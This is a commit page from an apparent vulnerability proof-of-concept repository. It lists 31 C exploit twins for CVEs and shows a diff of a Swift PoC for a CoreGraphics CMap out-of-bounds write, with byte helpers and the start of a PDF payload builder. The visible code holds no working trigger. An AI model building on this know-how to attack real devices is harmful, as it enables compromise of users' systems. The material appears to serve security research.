v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4109 -892

No files matched your search

+3 -16
View File
@@ -1,21 +1,8 @@
// cg.cmap · CoreGraphics · _cmap_convert · CVE-2026-112610
// 原语: OOB 写 · 进程内 · tier 3
// Primitive: OOB write · in-process · tier 3
//
// [zh] CMap /UseCMap 递归越界写(负结果探针)
// _cmap_convert 在递归时把外层的 codespace 长度(最大 255)传入仅容纳单个结果的输出槽(2 字节 code / 8 字节 len)。27.2 增加 min(L,4)
// 钳制并重排输出槽布局。
//
// [en] CMap /UseCMap recursion out-of-bounds write (negative-result probe)
// _cmap_convert passes the outer codespace length (up to 255) into an output slot sized for a single
// result (2-byte code / 8-byte len) when it recurses. iOS 27.2 adds a min(L,4) clamp and re-lays
// out the output slots.
// ── 判别 / oracle ──
// 源分析中,内嵌 CMap 这一载体被三条相互独立的可达性阻断否定。本模块的价值在于将负结果同样留档:若该构建上出现崩溃,说明载体已被重新打通,结论需随之修正。
// CMap /UseCMap recursion out-of-bounds write (negative-result probe)
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -36,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ──
// ── seed construction (from Cinder27 Sources: PDFPayload) ──
enum PDFPayload {
struct PDFBuilder {
private var objects: [Int: (dict: String, stream: [UInt8]?)] = [:]